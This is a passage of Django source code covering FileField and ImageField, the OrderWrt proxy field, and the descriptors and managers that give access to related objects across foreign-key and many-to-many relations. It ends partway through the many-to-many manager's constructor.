        self._primary_key_set_explicitly = 'primary_key' in kwargs
        self._unique_set_explicitly = 'unique' in kwargs

        self.storage = storage or default_storage
        self.upload_to = upload_to

        kwargs['max_length'] = kwargs.get('max_length', 100)
        super(FileField, self).__init__(verbose_name, name, **kwargs)

    def check(self, **kwargs):
        errors = super(FileField, self).check(**kwargs)
        errors.extend(self._check_unique())
        errors.extend(self._check_primary_key())
        return errors

    def _check_unique(self):
        if self._unique_set_explicitly:
            return [
                checks.Error(
                    "'unique' is not a valid argument for a %s." % self.__class__.__name__,
                    obj=self,
                    id='fields.E200',
                )
            ]
        else:
            return []

    def _check_primary_key(self):
        if self._primary_key_set_explicitly:
            return [
                checks.Error(
                    "'primary_key' is not a valid argument for a %s." % self.__class__.__name__,
                    obj=self,
                    id='fields.E201',
                )
            ]
        else:
            return []

    def deconstruct(self):
        name, path, args, kwargs = super(FileField, self).deconstruct()
        if kwargs.get("max_length") == 100:
            del kwargs["max_length"]
        kwargs['upload_to'] = self.upload_to
        if self.storage is not default_storage:
            kwargs['storage'] = self.storage
        return name, path, args, kwargs

    def get_internal_type(self):
        return "FileField"

    def get_prep_value(self, value):
        "Returns field's value prepared for saving into a database."
        value = super(FileField, self).get_prep_value(value)
        # Need to convert File objects provided via a form to unicode for database insertion
        if value is None:
            return None
        return six.text_type(value)

    def pre_save(self, model_instance, add):
        "Returns field's value just before saving."
        file = super(FileField, self).pre_save(model_instance, add)
        if file and not file._committed:
            # Commit the file to storage prior to saving the model
            file.save(file.name, file, save=False)
        return file

    def contribute_to_class(self, cls, name, **kwargs):
        super(FileField, self).contribute_to_class(cls, name, **kwargs)
        setattr(cls, self.name, self.descriptor_class(self))

    def get_directory_name(self):
        warnings.warn(
            'FileField now delegates file name and folder processing to the '
            'storage. get_directory_name() will be removed in Django 2.0.',
            RemovedInDjango20Warning, stacklevel=2
        )
        return os.path.normpath(force_text(datetime.datetime.now().strftime(force_str(self.upload_to))))

    def get_filename(self, filename):
        warnings.warn(
            'FileField now delegates file name and folder processing to the '
            'storage. get_filename() will be removed in Django 2.0.',
            RemovedInDjango20Warning, stacklevel=2
        )
        return os.path.normpath(self.storage.get_valid_name(os.path.basename(filename)))

    def generate_filename(self, instance, filename):
        """
        Apply (if callable) or prepend (if a string) upload_to to the filename,
        then delegate further processing of the name to the storage backend.
        Until the storage layer, all file paths are expected to be Unix style
        (with forward slashes).
        """
        if callable(self.upload_to):
            filename = self.upload_to(instance, filename)
        else:
            dirname = force_text(datetime.datetime.now().strftime(force_str(self.upload_to)))
            filename = posixpath.join(dirname, filename)
        return self.storage.generate_filename(filename)

    def save_form_data(self, instance, data):
        # Important: None means "no change", other false value means "clear"
        # This subtle distinction (rather than a more explicit marker) is
        # needed because we need to consume values that are also sane for a
        # regular (non Model-) Form to find in its cleaned_data dictionary.
        if data is not None:
            # This value will be converted to unicode and stored in the
            # database, so leaving False as-is is not acceptable.
            if not data:
                data = ''
            setattr(instance, self.name, data)

    def formfield(self, **kwargs):
        defaults = {'form_class': forms.FileField, 'max_length': self.max_length}
        # If a file has been provided previously, then the form doesn't require
        # that a new file is provided this time.
        # The code to mark the form field as not required is used by
        # form_for_instance, but can probably be removed once form_for_instance
        # is gone. ModelForm uses a different method to check for an existing file.
        if 'initial' in kwargs:
            defaults['required'] = False
        defaults.update(kwargs)
        return super(FileField, self).formfield(**defaults)


class ImageFileDescriptor(FileDescriptor):
    """
    Just like the FileDescriptor, but for ImageFields. The only difference is
    assigning the width/height to the width_field/height_field, if appropriate.
    """
    def __set__(self, instance, value):
        previous_file = instance.__dict__.get(self.field.name)
        super(ImageFileDescriptor, self).__set__(instance, value)

        # To prevent recalculating image dimensions when we are instantiating
        # an object from the database (bug #11084), only update dimensions if
        # the field had a value before this assignment.  Since the default
        # value for FileField subclasses is an instance of field.attr_class,
        # previous_file will only be None when we are called from
        # Model.__init__().  The ImageField.update_dimension_fields method
        # hooked up to the post_init signal handles the Model.__init__() cases.
        # Assignment happening outside of Model.__init__() will trigger the
        # update right here.
        if previous_file is not None:
            self.field.update_dimension_fields(instance, force=True)


class ImageFieldFile(ImageFile, FieldFile):
    def delete(self, save=True):
        # Clear the image dimensions cache
        if hasattr(self, '_dimensions_cache'):
            del self._dimensions_cache
        super(ImageFieldFile, self).delete(save)


class ImageField(FileField):
    default_validators = [validate_image_file_extension]
    attr_class = ImageFieldFile
    descriptor_class = ImageFileDescriptor
    description = _("Image")

    def __init__(self, verbose_name=None, name=None, width_field=None, height_field=None, **kwargs):
        self.width_field, self.height_field = width_field, height_field
        super(ImageField, self).__init__(verbose_name, name, **kwargs)

    def check(self, **kwargs):
        errors = super(ImageField, self).check(**kwargs)
        errors.extend(self._check_image_library_installed())
        return errors

    def _check_image_library_installed(self):
        try:
            from PIL import Image  # NOQA
        except ImportError:
            return [
                checks.Error(
                    'Cannot use ImageField because Pillow is not installed.',
                    hint=('Get Pillow at https://pypi.python.org/pypi/Pillow '
                          'or run command "pip install Pillow".'),
                    obj=self,
                    id='fields.E210',
                )
            ]
        else:
            return []

    def deconstruct(self):
        name, path, args, kwargs = super(ImageField, self).deconstruct()
        if self.width_field:
            kwargs['width_field'] = self.width_field
        if self.height_field:
            kwargs['height_field'] = self.height_field
        return name, path, args, kwargs

    def contribute_to_class(self, cls, name, **kwargs):
        super(ImageField, self).contribute_to_class(cls, name, **kwargs)
        # Attach update_dimension_fields so that dimension fields declared
        # after their corresponding image field don't stay cleared by
        # Model.__init__, see bug #11196.
        # Only run post-initialization dimension update on non-abstract models
        if not cls._meta.abstract:
            signals.post_init.connect(self.update_dimension_fields, sender=cls)

    def update_dimension_fields(self, instance, force=False, *args, **kwargs):
        """
        Updates field's width and height fields, if defined.

        This method is hooked up to model's post_init signal to update
        dimensions after instantiating a model instance.  However, dimensions
        won't be updated if the dimensions fields are already populated.  This
        avoids unnecessary recalculation when loading an object from the
        database.

        Dimensions can be forced to update with force=True, which is how
        ImageFileDescriptor.__set__ calls this method.
        """
        # Nothing to update if the field doesn't have dimension fields or if
        # the field is deferred.
        has_dimension_fields = self.width_field or self.height_field
        if not has_dimension_fields or self.attname not in instance.__dict__:
            return

        # getattr will call the ImageFileDescriptor's __get__ method, which
        # coerces the assigned value into an instance of self.attr_class
        # (ImageFieldFile in this case).
        file = getattr(instance, self.attname)

        # Nothing to update if we have no file and not being forced to update.
        if not file and not force:
            return

        dimension_fields_filled = not(
            (self.width_field and not getattr(instance, self.width_field)) or
            (self.height_field and not getattr(instance, self.height_field))
        )
        # When both dimension fields have values, we are most likely loading
        # data from the database or updating an image field that already had
        # an image stored.  In the first case, we don't want to update the
        # dimension fields because we are already getting their values from the
        # database.  In the second case, we do want to update the dimensions
        # fields and will skip this return because force will be True since we
        # were called from ImageFileDescriptor.__set__.
        if dimension_fields_filled and not force:
            return

        # file should be an instance of ImageFieldFile or should be None.
        if file:
            width = file.width
            height = file.height
        else:
            # No file, so clear dimensions fields.
            width = None
            height = None

        # Update the width and height fields.
        if self.width_field:
            setattr(instance, self.width_field, width)
        if self.height_field:
            setattr(instance, self.height_field, height)

    def formfield(self, **kwargs):
        defaults = {'form_class': forms.ImageField}
        defaults.update(kwargs)
        return super(ImageField, self).formfield(**defaults)






"""
Field-like classes that aren't really fields. It's easier to use objects that
have the same attributes as fields sometimes (avoids a lot of special casing).
"""

from django.db.models import fields


class OrderWrt(fields.IntegerField):
    """
    A proxy for the _order database field that is used when
    Meta.order_with_respect_to is specified.
    """

    def __init__(self, *args, **kwargs):
        kwargs['name'] = '_order'
        kwargs['editable'] = False
        super(OrderWrt, self).__init__(*args, **kwargs)

    def deconstruct(self):
        name, path, args, kwargs = super(OrderWrt, self).deconstruct()
        del kwargs['editable']
        return name, path, args, kwargs






"""
Accessors for related objects.

When a field defines a relation between two models, each model class provides
an attribute to access related instances of the other model class (unless the
reverse accessor has been disabled with related_name='+').

Accessors are implemented as descriptors in order to customize access and
assignment. This module defines the descriptor classes.

Forward accessors follow foreign keys. Reverse accessors trace them back. For
example, with the following models::

    class Parent(Model):
        pass

    class Child(Model):
        parent = ForeignKey(Parent, related_name='children')

 ``child.parent`` is a forward many-to-one relation. ``parent.children`` is a
reverse many-to-one relation.

There are three types of relations (many-to-one, one-to-one, and many-to-many)
and two directions (forward and reverse) for a total of six combinations.

1. Related instance on the forward side of a many-to-one relation:
   ``ForwardManyToOneDescriptor``.

   Uniqueness of foreign key values is irrelevant to accessing the related
   instance, making the many-to-one and one-to-one cases identical as far as
   the descriptor is concerned. The constraint is checked upstream (unicity
   validation in forms) or downstream (unique indexes in the database).

2. Related instance on the forward side of a one-to-one
   relation: ``ForwardOneToOneDescriptor``.

   It avoids querying the database when accessing the parent link field in
   a multi-table inheritance scenario.

3. Related instance on the reverse side of a one-to-one relation:
   ``ReverseOneToOneDescriptor``.

   One-to-one relations are asymmetrical, despite the apparent symmetry of the
   name, because they're implemented in the database with a foreign key from
   one table to another. As a consequence ``ReverseOneToOneDescriptor`` is
   slightly different from ``ForwardManyToOneDescriptor``.

4. Related objects manager for related instances on the reverse side of a
   many-to-one relation: ``ReverseManyToOneDescriptor``.

   Unlike the previous two classes, this one provides access to a collection
   of objects. It returns a manager rather than an instance.

5. Related objects manager for related instances on the forward or reverse
   sides of a many-to-many relation: ``ManyToManyDescriptor``.

   Many-to-many relations are symmetrical. The syntax of Django models
   requires declaring them on one side but that's an implementation detail.
   They could be declared on the other side without any change in behavior.
   Therefore the forward and reverse descriptors can be the same.

   If you're looking for ``ForwardManyToManyDescriptor`` or
   ``ReverseManyToManyDescriptor``, use ``ManyToManyDescriptor`` instead.
"""

from __future__ import unicode_literals

import warnings
from operator import attrgetter

from django.db import connections, router, transaction
from django.db.models import Q, signals
from django.db.models.query import QuerySet
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.functional import cached_property


class ForwardManyToOneDescriptor(object):
    """
    Accessor to the related object on the forward side of a many-to-one or
    one-to-one (via ForwardOneToOneDescriptor subclass) relation.

    In the example::

        class Child(Model):
            parent = ForeignKey(Parent, related_name='children')

    ``child.parent`` is a ``ForwardManyToOneDescriptor`` instance.
    """

    def __init__(self, field_with_rel):
        self.field = field_with_rel
        self.cache_name = self.field.get_cache_name()

    @cached_property
    def RelatedObjectDoesNotExist(self):
        # The exception can't be created at initialization time since the
        # related model might not be resolved yet; `rel.model` might still be
        # a string model reference.
        return type(
            str('RelatedObjectDoesNotExist'),
            (self.field.remote_field.model.DoesNotExist, AttributeError),
            {}
        )

    def is_cached(self, instance):
        return hasattr(instance, self.cache_name)

    def get_queryset(self, **hints):
        related_model = self.field.remote_field.model

        if getattr(related_model._default_manager, 'use_for_related_fields', False):
            if not getattr(related_model._default_manager, 'silence_use_for_related_fields_deprecation', False):
                warnings.warn(
                    "use_for_related_fields is deprecated, instead "
                    "set Meta.base_manager_name on '{}'.".format(related_model._meta.label),
                    RemovedInDjango20Warning, 2
                )
            manager = related_model._default_manager
        else:
            manager = related_model._base_manager

        return manager.db_manager(hints=hints).all()

    def get_prefetch_queryset(self, instances, queryset=None):
        if queryset is None:
            queryset = self.get_queryset()
        queryset._add_hints(instance=instances[0])

        rel_obj_attr = self.field.get_foreign_related_value
        instance_attr = self.field.get_local_related_value
        instances_dict = {instance_attr(inst): inst for inst in instances}
        related_field = self.field.foreign_related_fields[0]

        # FIXME: This will need to be revisited when we introduce support for
        # composite fields. In the meantime we take this practical approach to
        # solve a regression on 1.6 when the reverse manager in hidden
        # (related_name ends with a '+'). Refs #21410.
        # The check for len(...) == 1 is a special case that allows the query
        # to be join-less and smaller. Refs #21760.
        if self.field.remote_field.is_hidden() or len(self.field.foreign_related_fields) == 1:
            query = {'%s__in' % related_field.name: set(instance_attr(inst)[0] for inst in instances)}
        else:
            query = {'%s__in' % self.field.related_query_name(): instances}
        queryset = queryset.filter(**query)

        # Since we're going to assign directly in the cache,
        # we must manage the reverse relation cache manually.
        if not self.field.remote_field.multiple:
            rel_obj_cache_name = self.field.remote_field.get_cache_name()
            for rel_obj in queryset:
                instance = instances_dict[rel_obj_attr(rel_obj)]
                setattr(rel_obj, rel_obj_cache_name, instance)
        return queryset, rel_obj_attr, instance_attr, True, self.cache_name

    def get_object(self, instance):
        qs = self.get_queryset(instance=instance)
        # Assuming the database enforces foreign keys, this won't fail.
        return qs.get(self.field.get_reverse_related_filter(instance))

    def __get__(self, instance, cls=None):
        """
        Get the related instance through the forward relation.

        With the example above, when getting ``child.parent``:

        - ``self`` is the descriptor managing the ``parent`` attribute
        - ``instance`` is the ``child`` instance
        - ``cls`` is the ``Child`` class (we don't need it)
        """
        if instance is None:
            return self

        # The related instance is loaded from the database and then cached in
        # the attribute defined in self.cache_name. It can also be pre-cached
        # by the reverse accessor (ReverseOneToOneDescriptor).
        try:
            rel_obj = getattr(instance, self.cache_name)
        except AttributeError:
            val = self.field.get_local_related_value(instance)
            if None in val:
                rel_obj = None
            else:
                rel_obj = self.get_object(instance)
                # If this is a one-to-one relation, set the reverse accessor
                # cache on the related object to the current instance to avoid
                # an extra SQL query if it's accessed later on.
                if not self.field.remote_field.multiple:
                    setattr(rel_obj, self.field.remote_field.get_cache_name(), instance)
            setattr(instance, self.cache_name, rel_obj)

        if rel_obj is None and not self.field.null:
            raise self.RelatedObjectDoesNotExist(
                "%s has no %s." % (self.field.model.__name__, self.field.name)
            )
        else:
            return rel_obj

    def __set__(self, instance, value):
        """
        Set the related instance through the forward relation.

        With the example above, when setting ``child.parent = parent``:

        - ``self`` is the descriptor managing the ``parent`` attribute
        - ``instance`` is the ``child`` instance
        - ``value`` is the ``parent`` instance on the right of the equal sign
        """
        # An object must be an instance of the related class.
        if value is not None and not isinstance(value, self.field.remote_field.model._meta.concrete_model):
            raise ValueError(
                'Cannot assign "%r": "%s.%s" must be a "%s" instance.' % (
                    value,
                    instance._meta.object_name,
                    self.field.name,
                    self.field.remote_field.model._meta.object_name,
                )
            )
        elif value is not None:
            if instance._state.db is None:
                instance._state.db = router.db_for_write(instance.__class__, instance=value)
            elif value._state.db is None:
                value._state.db = router.db_for_write(value.__class__, instance=instance)
            elif value._state.db is not None and instance._state.db is not None:
                if not router.allow_relation(value, instance):
                    raise ValueError('Cannot assign "%r": the current database router prevents this relation.' % value)

        # If we're setting the value of a OneToOneField to None, we need to clear
        # out the cache on any old related object. Otherwise, deleting the
        # previously-related object will also cause this object to be deleted,
        # which is wrong.
        if value is None:
            # Look up the previously-related object, which may still be available
            # since we've not yet cleared out the related field.
            # Use the cache directly, instead of the accessor; if we haven't
            # populated the cache, then we don't care - we're only accessing
            # the object to invalidate the accessor cache, so there's no
            # need to populate the cache just to expire it again.
            related = getattr(instance, self.cache_name, None)

            # If we've got an old related object, we need to clear out its
            # cache. This cache also might not exist if the related object
            # hasn't been accessed yet.
            if related is not None:
                setattr(related, self.field.remote_field.get_cache_name(), None)

            for lh_field, rh_field in self.field.related_fields:
                setattr(instance, lh_field.attname, None)

        # Set the values of the related field.
        else:
            for lh_field, rh_field in self.field.related_fields:
                setattr(instance, lh_field.attname, getattr(value, rh_field.attname))

        # Set the related instance cache used by __get__ to avoid an SQL query
        # when accessing the attribute we just set.
        setattr(instance, self.cache_name, value)

        # If this is a one-to-one relation, set the reverse accessor cache on
        # the related object to the current instance to avoid an extra SQL
        # query if it's accessed later on.
        if value is not None and not self.field.remote_field.multiple:
            setattr(value, self.field.remote_field.get_cache_name(), instance)


class ForwardOneToOneDescriptor(ForwardManyToOneDescriptor):
    """
    Accessor to the related object on the forward side of a one-to-one relation.

    In the example::

        class Restaurant(Model):
            place = OneToOneField(Place, related_name='restaurant')

    ``restaurant.place`` is a ``ForwardOneToOneDescriptor`` instance.
    """

    def get_object(self, instance):
        if self.field.remote_field.parent_link:
            deferred = instance.get_deferred_fields()
            # Because it's a parent link, all the data is available in the
            # instance, so populate the parent model with this data.
            rel_model = self.field.remote_field.model
            fields = [field.attname for field in rel_model._meta.concrete_fields]

            # If any of the related model's fields are deferred, fallback to
            # fetching all fields from the related model. This avoids a query
            # on the related model for every deferred field.
            if not any(field in fields for field in deferred):
                kwargs = {field: getattr(instance, field) for field in fields}
                return rel_model(**kwargs)
        return super(ForwardOneToOneDescriptor, self).get_object(instance)


class ReverseOneToOneDescriptor(object):
    """
    Accessor to the related object on the reverse side of a one-to-one
    relation.

    In the example::

        class Restaurant(Model):
            place = OneToOneField(Place, related_name='restaurant')

    ``place.restaurant`` is a ``ReverseOneToOneDescriptor`` instance.
    """

    def __init__(self, related):
        self.related = related
        self.cache_name = related.get_cache_name()

    @cached_property
    def RelatedObjectDoesNotExist(self):
        # The exception isn't created at initialization time for the sake of
        # consistency with `ForwardManyToOneDescriptor`.
        return type(
            str('RelatedObjectDoesNotExist'),
            (self.related.related_model.DoesNotExist, AttributeError),
            {}
        )

    def is_cached(self, instance):
        return hasattr(instance, self.cache_name)

    def get_queryset(self, **hints):
        related_model = self.related.related_model

        if getattr(related_model._default_manager, 'use_for_related_fields', False):
            if not getattr(related_model._default_manager, 'silence_use_for_related_fields_deprecation', False):
                warnings.warn(
                    "use_for_related_fields is deprecated, instead "
                    "set Meta.base_manager_name on '{}'.".format(related_model._meta.label),
                    RemovedInDjango20Warning, 2
                )
            manager = related_model._default_manager
        else:
            manager = related_model._base_manager

        return manager.db_manager(hints=hints).all()

    def get_prefetch_queryset(self, instances, queryset=None):
        if queryset is None:
            queryset = self.get_queryset()
        queryset._add_hints(instance=instances[0])

        rel_obj_attr = attrgetter(self.related.field.attname)

        def instance_attr(obj):
            return obj._get_pk_val()

        instances_dict = {instance_attr(inst): inst for inst in instances}
        query = {'%s__in' % self.related.field.name: instances}
        queryset = queryset.filter(**query)

        # Since we're going to assign directly in the cache,
        # we must manage the reverse relation cache manually.
        rel_obj_cache_name = self.related.field.get_cache_name()
        for rel_obj in queryset:
            instance = instances_dict[rel_obj_attr(rel_obj)]
            setattr(rel_obj, rel_obj_cache_name, instance)
        return queryset, rel_obj_attr, instance_attr, True, self.cache_name

    def __get__(self, instance, cls=None):
        """
        Get the related instance through the reverse relation.

        With the example above, when getting ``place.restaurant``:

        - ``self`` is the descriptor managing the ``restaurant`` attribute
        - ``instance`` is the ``place`` instance
        - ``cls`` is the ``Place`` class (unused)

        Keep in mind that ``Restaurant`` holds the foreign key to ``Place``.
        """
        if instance is None:
            return self

        # The related instance is loaded from the database and then cached in
        # the attribute defined in self.cache_name. It can also be pre-cached
        # by the forward accessor (ForwardManyToOneDescriptor).
        try:
            rel_obj = getattr(instance, self.cache_name)
        except AttributeError:
            related_pk = instance._get_pk_val()
            if related_pk is None:
                rel_obj = None
            else:
                filter_args = self.related.field.get_forward_related_filter(instance)
                try:
                    rel_obj = self.get_queryset(instance=instance).get(**filter_args)
                except self.related.related_model.DoesNotExist:
                    rel_obj = None
                else:
                    # Set the forward accessor cache on the related object to
                    # the current instance to avoid an extra SQL query if it's
                    # accessed later on.
                    setattr(rel_obj, self.related.field.get_cache_name(), instance)
            setattr(instance, self.cache_name, rel_obj)

        if rel_obj is None:
            raise self.RelatedObjectDoesNotExist(
                "%s has no %s." % (
                    instance.__class__.__name__,
                    self.related.get_accessor_name()
                )
            )
        else:
            return rel_obj

    def __set__(self, instance, value):
        """
        Set the related instance through the reverse relation.

        With the example above, when setting ``place.restaurant = restaurant``:

        - ``self`` is the descriptor managing the ``restaurant`` attribute
        - ``instance`` is the ``place`` instance
        - ``value`` is the ``restaurant`` instance on the right of the equal sign

        Keep in mind that ``Restaurant`` holds the foreign key to ``Place``.
        """
        # The similarity of the code below to the code in
        # ForwardManyToOneDescriptor is annoying, but there's a bunch
        # of small differences that would make a common base class convoluted.

        if value is None:
            # Update the cached related instance (if any) & clear the cache.
            try:
                rel_obj = getattr(instance, self.cache_name)
            except AttributeError:
                pass
            else:
                delattr(instance, self.cache_name)
                setattr(rel_obj, self.related.field.name, None)
        elif not isinstance(value, self.related.related_model):
            # An object must be an instance of the related class.
            raise ValueError(
                'Cannot assign "%r": "%s.%s" must be a "%s" instance.' % (
                    value,
                    instance._meta.object_name,
                    self.related.get_accessor_name(),
                    self.related.related_model._meta.object_name,
                )
            )
        else:
            if instance._state.db is None:
                instance._state.db = router.db_for_write(instance.__class__, instance=value)
            elif value._state.db is None:
                value._state.db = router.db_for_write(value.__class__, instance=instance)
            elif value._state.db is not None and instance._state.db is not None:
                if not router.allow_relation(value, instance):
                    raise ValueError('Cannot assign "%r": the current database router prevents this relation.' % value)

            related_pk = tuple(getattr(instance, field.attname) for field in self.related.field.foreign_related_fields)
            # Set the value of the related field to the value of the related object's related field
            for index, field in enumerate(self.related.field.local_related_fields):
                setattr(value, field.attname, related_pk[index])

            # Set the related instance cache used by __get__ to avoid an SQL query
            # when accessing the attribute we just set.
            setattr(instance, self.cache_name, value)

            # Set the forward accessor cache on the related object to the current
            # instance to avoid an extra SQL query if it's accessed later on.
            setattr(value, self.related.field.get_cache_name(), instance)


class ReverseManyToOneDescriptor(object):
    """
    Accessor to the related objects manager on the reverse side of a
    many-to-one relation.

    In the example::

        class Child(Model):
            parent = ForeignKey(Parent, related_name='children')

    ``parent.children`` is a ``ReverseManyToOneDescriptor`` instance.

    Most of the implementation is delegated to a dynamically defined manager
    class built by ``create_forward_many_to_many_manager()`` defined below.
    """

    def __init__(self, rel):
        self.rel = rel
        self.field = rel.field

    @cached_property
    def related_manager_cls(self):
        related_model = self.rel.related_model

        return create_reverse_many_to_one_manager(
            related_model._default_manager.__class__,
            self.rel,
        )

    def __get__(self, instance, cls=None):
        """
        Get the related objects through the reverse relation.

        With the example above, when getting ``parent.children``:

        - ``self`` is the descriptor managing the ``children`` attribute
        - ``instance`` is the ``parent`` instance
        - ``cls`` is the ``Parent`` class (unused)
        """
        if instance is None:
            return self

        return self.related_manager_cls(instance)

    def _get_set_deprecation_msg_params(self):
        return (  # RemovedInDjango20Warning
            'reverse side of a related set',
            self.rel.get_accessor_name(),
        )

    def __set__(self, instance, value):
        """
        Set the related objects through the reverse relation.

        With the example above, when setting ``parent.children = children``:

        - ``self`` is the descriptor managing the ``children`` attribute
        - ``instance`` is the ``parent`` instance
        - ``value`` is the ``children`` sequence on the right of the equal sign
        """
        warnings.warn(
            'Direct assignment to the %s is deprecated due to the implicit '
            'save() that happens. Use %s.set() instead.' % self._get_set_deprecation_msg_params(),
            RemovedInDjango20Warning, stacklevel=2,
        )
        manager = self.__get__(instance)
        manager.set(value)


def create_reverse_many_to_one_manager(superclass, rel):
    """
    Create a manager for the reverse side of a many-to-one relation.

    This manager subclasses another manager, generally the default manager of
    the related model, and adds behaviors specific to many-to-one relations.
    """

    class RelatedManager(superclass):
        def __init__(self, instance):
            super(RelatedManager, self).__init__()

            self.instance = instance
            self.model = rel.related_model
            self.field = rel.field

            self.core_filters = {self.field.name: instance}

        def __call__(self, **kwargs):
            # We use **kwargs rather than a kwarg argument to enforce the
            # `manager='manager_name'` syntax.
            manager = getattr(self.model, kwargs.pop('manager'))
            manager_class = create_reverse_many_to_one_manager(manager.__class__, rel)
            return manager_class(self.instance)
        do_not_call_in_templates = True

        def _apply_rel_filters(self, queryset):
            """
            Filter the queryset for the instance this manager is bound to.
            """
            db = self._db or router.db_for_read(self.model, instance=self.instance)
            empty_strings_as_null = connections[db].features.interprets_empty_strings_as_nulls
            queryset._add_hints(instance=self.instance)
            if self._db:
                queryset = queryset.using(self._db)
            queryset = queryset.filter(**self.core_filters)
            for field in self.field.foreign_related_fields:
                val = getattr(self.instance, field.attname)
                if val is None or (val == '' and empty_strings_as_null):
                    return queryset.none()
            queryset._known_related_objects = {self.field: {self.instance.pk: self.instance}}
            return queryset

        def _remove_prefetched_objects(self):
            try:
                self.instance._prefetched_objects_cache.pop(self.field.related_query_name())
            except (AttributeError, KeyError):
                pass  # nothing to clear from cache

        def get_queryset(self):
            try:
                return self.instance._prefetched_objects_cache[self.field.related_query_name()]
            except (AttributeError, KeyError):
                queryset = super(RelatedManager, self).get_queryset()
                return self._apply_rel_filters(queryset)

        def get_prefetch_queryset(self, instances, queryset=None):
            if queryset is None:
                queryset = super(RelatedManager, self).get_queryset()

            queryset._add_hints(instance=instances[0])
            queryset = queryset.using(queryset._db or self._db)

            rel_obj_attr = self.field.get_local_related_value
            instance_attr = self.field.get_foreign_related_value
            instances_dict = {instance_attr(inst): inst for inst in instances}
            query = {'%s__in' % self.field.name: instances}
            queryset = queryset.filter(**query)

            # Since we just bypassed this class' get_queryset(), we must manage
            # the reverse relation manually.
            for rel_obj in queryset:
                instance = instances_dict[rel_obj_attr(rel_obj)]
                setattr(rel_obj, self.field.name, instance)
            cache_name = self.field.related_query_name()
            return queryset, rel_obj_attr, instance_attr, False, cache_name

        def add(self, *objs, **kwargs):
            self._remove_prefetched_objects()
            bulk = kwargs.pop('bulk', True)
            objs = list(objs)
            db = router.db_for_write(self.model, instance=self.instance)

            def check_and_update_obj(obj):
                if not isinstance(obj, self.model):
                    raise TypeError("'%s' instance expected, got %r" % (
                        self.model._meta.object_name, obj,
                    ))
                setattr(obj, self.field.name, self.instance)

            if bulk:
                pks = []
                for obj in objs:
                    check_and_update_obj(obj)
                    if obj._state.adding or obj._state.db != db:
                        raise ValueError(
                            "%r instance isn't saved. Use bulk=False or save "
                            "the object first." % obj
                        )
                    pks.append(obj.pk)
                self.model._base_manager.using(db).filter(pk__in=pks).update(**{
                    self.field.name: self.instance,
                })
            else:
                with transaction.atomic(using=db, savepoint=False):
                    for obj in objs:
                        check_and_update_obj(obj)
                        obj.save()
        add.alters_data = True

        def create(self, **kwargs):
            kwargs[self.field.name] = self.instance
            db = router.db_for_write(self.model, instance=self.instance)
            return super(RelatedManager, self.db_manager(db)).create(**kwargs)
        create.alters_data = True

        def get_or_create(self, **kwargs):
            kwargs[self.field.name] = self.instance
            db = router.db_for_write(self.model, instance=self.instance)
            return super(RelatedManager, self.db_manager(db)).get_or_create(**kwargs)
        get_or_create.alters_data = True

        def update_or_create(self, **kwargs):
            kwargs[self.field.name] = self.instance
            db = router.db_for_write(self.model, instance=self.instance)
            return super(RelatedManager, self.db_manager(db)).update_or_create(**kwargs)
        update_or_create.alters_data = True

        # remove() and clear() are only provided if the ForeignKey can have a value of null.
        if rel.field.null:
            def remove(self, *objs, **kwargs):
                if not objs:
                    return
                bulk = kwargs.pop('bulk', True)
                val = self.field.get_foreign_related_value(self.instance)
                old_ids = set()
                for obj in objs:
                    # Is obj actually part of this descriptor set?
                    if self.field.get_local_related_value(obj) == val:
                        old_ids.add(obj.pk)
                    else:
                        raise self.field.remote_field.model.DoesNotExist(
                            "%r is not related to %r." % (obj, self.instance)
                        )
                self._clear(self.filter(pk__in=old_ids), bulk)
            remove.alters_data = True

            def clear(self, **kwargs):
                bulk = kwargs.pop('bulk', True)
                self._clear(self, bulk)
            clear.alters_data = True

            def _clear(self, queryset, bulk):
                self._remove_prefetched_objects()
                db = router.db_for_write(self.model, instance=self.instance)
                queryset = queryset.using(db)
                if bulk:
                    # `QuerySet.update()` is intrinsically atomic.
                    queryset.update(**{self.field.name: None})
                else:
                    with transaction.atomic(using=db, savepoint=False):
                        for obj in queryset:
                            setattr(obj, self.field.name, None)
                            obj.save(update_fields=[self.field.name])
            _clear.alters_data = True

        def set(self, objs, **kwargs):
            # Force evaluation of `objs` in case it's a queryset whose value
            # could be affected by `manager.clear()`. Refs #19816.
            objs = tuple(objs)

            bulk = kwargs.pop('bulk', True)
            clear = kwargs.pop('clear', False)

            if self.field.null:
                db = router.db_for_write(self.model, instance=self.instance)
                with transaction.atomic(using=db, savepoint=False):
                    if clear:
                        self.clear()
                        self.add(*objs, bulk=bulk)
                    else:
                        old_objs = set(self.using(db).all())
                        new_objs = []
                        for obj in objs:
                            if obj in old_objs:
                                old_objs.remove(obj)
                            else:
                                new_objs.append(obj)

                        self.remove(*old_objs, bulk=bulk)
                        self.add(*new_objs, bulk=bulk)
            else:
                self.add(*objs, bulk=bulk)
        set.alters_data = True

    return RelatedManager


class ManyToManyDescriptor(ReverseManyToOneDescriptor):
    """
    Accessor to the related objects manager on the forward and reverse sides of
    a many-to-many relation.

    In the example::

        class Pizza(Model):
            toppings = ManyToManyField(Topping, related_name='pizzas')

    ``pizza.toppings`` and ``topping.pizzas`` are ``ManyToManyDescriptor``
    instances.

    Most of the implementation is delegated to a dynamically defined manager
    class built by ``create_forward_many_to_many_manager()`` defined below.
    """

    def __init__(self, rel, reverse=False):
        super(ManyToManyDescriptor, self).__init__(rel)

        self.reverse = reverse

    @property
    def through(self):
        # through is provided so that you have easy access to the through
        # model (Book.authors.through) for inlines, etc. This is done as
        # a property to ensure that the fully resolved value is returned.
        return self.rel.through

    @cached_property
    def related_manager_cls(self):
        related_model = self.rel.related_model if self.reverse else self.rel.model

        return create_forward_many_to_many_manager(
            related_model._default_manager.__class__,
            self.rel,
            reverse=self.reverse,
        )

    def _get_set_deprecation_msg_params(self):
        return (  # RemovedInDjango20Warning
            '%s side of a many-to-many set' % ('reverse' if self.reverse else 'forward'),
            self.rel.get_accessor_name() if self.reverse else self.field.name,
        )


def create_forward_many_to_many_manager(superclass, rel, reverse):
    """
    Create a manager for the either side of a many-to-many relation.

    This manager subclasses another manager, generally the default manager of
    the related model, and adds behaviors specific to many-to-many relations.
    """

    class ManyRelatedManager(superclass):
        def __init__(self, instance=None):
            super(ManyRelatedManager, self).__init__()

            self.instance = instance

            if not reverse:
                self.model = rel.model
                self.query_field_name = rel.field.related_query_name()
                self.prefetch_cache_name = rel.field.name
                self.source_field_name = rel.field.m2m_field_name()
                self.target_field_name = rel.field.m2m_reverse_field_name()
                self.symmetrical = rel.symmetrical
            else:
                self.model = rel.related_model
                self.query_field_name = rel.field.name
                self.prefetch_cache_name = rel.field.related_query_name()
